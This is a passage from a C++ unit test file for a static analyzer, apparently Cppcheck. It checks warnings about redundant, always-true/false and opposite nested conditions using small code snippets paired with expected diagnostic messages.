[redundantCondition]\\n\"\n \"[test.cpp:5:17]: (style) Redundant condition: The condition 'x < 5.5' is redundant since 'x < 6.5' is sufficient. [redundantCondition]\\n\",\n errout_str());\n\n check(\"void f(const char *p) {\\n\" // #10320\n \" if (!p || !*p || *p != 'x') {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Redundant condition: The condition '!*p' is redundant since '*p != 'x'' is sufficient. [redundantCondition]\\n\",\n errout_str());\n }\n\n void incorrectLogicOp_condSwapping() {\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && x < 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (3 < x && 1 > x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 3 && x < 1. [incorrectLogicOperator]\\n\", errout_str());\n }\n\n void modulo() {\n check(\"bool f(bool& b1, bool& b2, bool& b3) {\\n\"\n \" b1 = a % 5 == 4;\\n\"\n \" b2 = a % c == 100000;\\n\"\n \" b3 = a % 5 == c;\\n\"\n \" return a % 5 == 5-p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool& b1, bool& b2, bool& b3, bool& b4, bool& b5) {\\n\"\n \" b1 = a % 5 < 5;\\n\"\n \" b2 = a % 5 <= 5;\\n\"\n \" b3 = a % 5 == 5;\\n\"\n \" b4 = a % 5 != 5;\\n\"\n \" b5 = a % 5 >= 5;\\n\"\n \" return a % 5 > 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:5:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:6:16]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:7:18]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(bool& b1, bool& b2) {\\n\"\n \" b1 = bar() % 5 < 889;\\n\"\n \" if(x[593] % 5 <= 5)\\n\"\n \" b2 = x.a % 5 == 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:20]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:3:19]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\"\n \"[test.cpp:4:22]: (warning) Comparison of modulo result is predetermined, because it is always less than 5. [moduloAlwaysTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" if (a % 2 + b % 2 == 2)\\n\"\n \" foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerCondition() {\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(a!=b)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"bool foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" return a!=b;\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:17]: (warning) Opposite inner 'return' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if(a==b)\\n\"\n \" if(b!=a)\\n\"\n \" cout << a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a < 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #4186\n check(\"void foo(int a) {\\n\"\n \" if(a >= 50) {\\n\"\n \" if(a > 50)\\n\"\n \" cout << a;\\n\"\n \" else\\n\"\n \" cout << 100;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 4170\n check(\"class foo {\\n\"\n \" void bar() {\\n\"\n \" if (tok == '(') {\\n\"\n \" next();\\n\"\n \" if (tok == ',') {\\n\"\n \" next();\\n\"\n \" if (tok != ',') {\\n\"\n \" op->reg2 = asm_parse_reg();\\n\"\n \" }\\n\"\n \" skip(',');\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void next();\\n\"\n \" const char *tok;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i)\\n\"\n \"{\\n\"\n \" if(i > 5) {\\n\"\n \" i = bar();\\n\"\n \" if(i < 5) {\\n\"\n \" cout << a;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i) {\\n\"\n \" i=6;\\n\"\n \"}\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(const int &i);\\n\"\n \"void bar(int i) {\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(int i);\\n\"\n \"void bar() {\\n\"\n \" int i; i = func();\\n\"\n \" if(i>5) {\\n\"\n \" foo(i);\\n\"\n \" if(i<5) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:6:13]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class C { void f(int &i) const; };\\n\" // #7028 - variable is changed by const method\n \"void foo(C c, int i) {\\n\"\n \" if (i==5) {\\n\"\n \" c.f(i);\\n\"\n \" if (i != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // see linux revision 1f80c0cc\n check(\"int generic_write_sync(int,int,int);\\n\"\n \"\\n\"\n \"void cifs_writev(int i) {\\n\"\n \" int rc = __generic_file_aio_write();\\n\"\n \" if (rc > 0){\\n\"\n \" err = generic_write_sync(file, iocb->ki_pos - rc, rc);\\n\"\n \" if(rc < 0) {\\n\" // <- condition is always false\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11] -> [test.cpp:7:14]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n\n // #5874 - array\n check(\"void testOppositeConditions2() {\\n\"\n \" int array[2] = { 0, 0 };\\n\"\n \" if (array[0] < 2) {\\n\"\n \" array[0] += 5;\\n\"\n \" if (array[0] > 2) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6227 - FP caused by simplifications of casts and known variables\n check(\"void foo(A *a) {\\n\"\n \" if(a) {\\n\"\n \" B *b = dynamic_cast(a);\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" if(a) {\\n\"\n \" int b = a;\\n\"\n \" if(!b) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:2:7] -> [test.cpp:4:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void foo(unsigned u) {\\n\"\n \" if (u != 0) {\\n\"\n \" for (int i=0; i<32; i++) {\\n\"\n \" if (u == 0) {}\\n\" // <- don't warn\n \" u = x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8186\n check(\"void f() {\\n\"\n \" for (int i=0;i<4;i++) {\\n\"\n \" if (i==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n // #8938\n check(\"void Delete(SS_CELLCOORD upperleft) {\\n\"\n \" if ((upperleft.Col == -1) && (upperleft.Row == -1)) {\\n\"\n \" GetActiveCell(&(upperleft.Col), &(upperleft.Row));\\n\"\n \" if (upperleft.Row == -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9702\n check(\"struct A {\\n\"\n \" void DoTest() {\\n\"\n \" if (!IsSet()) {\\n\"\n \" m_value = true;\\n\"\n \" if (IsSet());\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool IsSet() const { return m_value; }\\n\"\n \" bool m_value = false;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12725\n check(\"bool f(bool b) {\\n\"\n \" if (b)\\n\"\n \" return !b;\\n\"\n \" b = g();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:16]: (style) Return value '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerConditionPointers() {\n check(\"void f(struct ABC *abc) {\\n\"\n \" struct AB *ab = abc->ab;\\n\"\n \" if (ab->a == 123){\\n\"\n \" do_something(abc);\\n\" // might change ab->a\n \" if (ab->a != 123) {\\n\"\n \" err = rc;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fred::f() {\\n\" // daca: ace\n \" if (this->next_ == map_man_->table_) {\\n\"\n \" this->next_ = n;\\n\"\n \" if (this->next_ != map_man_->table_) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(float *f) {\\n\" // #7405\n \" if(*f>10) {\\n\"\n \" (*f) += 0.1f;\\n\"\n \" if(*f<10) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int * f(int * x, int * y) {\\n\"\n \" if(!x) return x;\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionClass() {\n // #6095 - calling member function that might change the state\n check(\"void f() {\\n\"\n \" const Fred fred;\\n\" // <- fred is const, warn\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:5:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"class Fred { public: bool isValid() const; void dostuff() const; };\\n\"\n \"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\" // <- dostuff() is const, warn\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19] -> [test.cpp:6:9]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Fred fred;\\n\"\n \" if (fred.isValid()) {\\n\"\n \" fred.dostuff();\\n\"\n \" if (!fred.isValid()) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6385 \"crash in Variable::getFlag()\"\n check(\"class TranslationHandler {\\n\"\n \"QTranslator *mTranslator;\\n\"\n \"void SetLanguage() {\\n\"\n \" if (mTranslator) {\\n\"\n \" qApp->removeTranslator(mTranslator);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str()); // just don't crash...\n\n check(\"bool f(std::ofstream &CFileStream) {\\n\" // #8198\n \" if(!CFileStream.good()) { return; }\\n\"\n \" CFileStream << \\\"abc\\\";\\n\"\n \" if (!CFileStream.good()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionUndeclaredVariable() {\n // #5731 - fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (x == -1){\\n\"\n \" x = do_something();\\n\"\n \" if (x != -1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5750 - another fp when undeclared variable is used\n check(\"void f() {\\n\"\n \" if (r < w){\\n\"\n \" r += 3;\\n\"\n \" if (r > w) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6574 - another fp when undeclared variable is used\n check(\"void foo() {\\n\"\n \" if(i) {\\n\"\n \" i++;\\n\"\n \" if(!i) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // undeclared array\n check(\"void f(int x) {\\n\"\n \" if (a[x] > 0) {\\n\"\n \" a[x] -= dt;\\n\"\n \" if (a[x] < 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6313 - false positive: opposite conditions in nested if blocks when condition changed\n check(\"void Foo::Bar() {\\n\"\n \" if(var){\\n\"\n \" --var;\\n\"\n \" if(!var){}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca hyphy\n check(\"bool f() {\\n\"\n \" if (rec.lLength==0) {\\n\"\n \" rec.Delete(i);\\n\"\n \" if (rec.lLength!=0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionAlias() {\n check(\"void f() {\\n\"\n \" struct S s;\\n\"\n \" bool hasFailed = false;\\n\"\n \" s.status = &hasFailed;\\n\"\n \"\\n\"\n \" if (! hasFailed) {\\n\"\n \" doStuff(&s);\\n\"\n \" if (hasFailed) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Condition '!hasFailed' is always true [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void oppositeInnerCondition2() {\n // first comparison: <\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x==5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x!=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x==4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x!=6) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x!=6' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x>=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x<5) {\\n\"\n \" if (x<=4) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // first comparison: >\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x==5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x>=5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=5' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<5) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x<5' is always false [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>4) {\\n\"\n \" if (x<=5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x==4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x>=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", 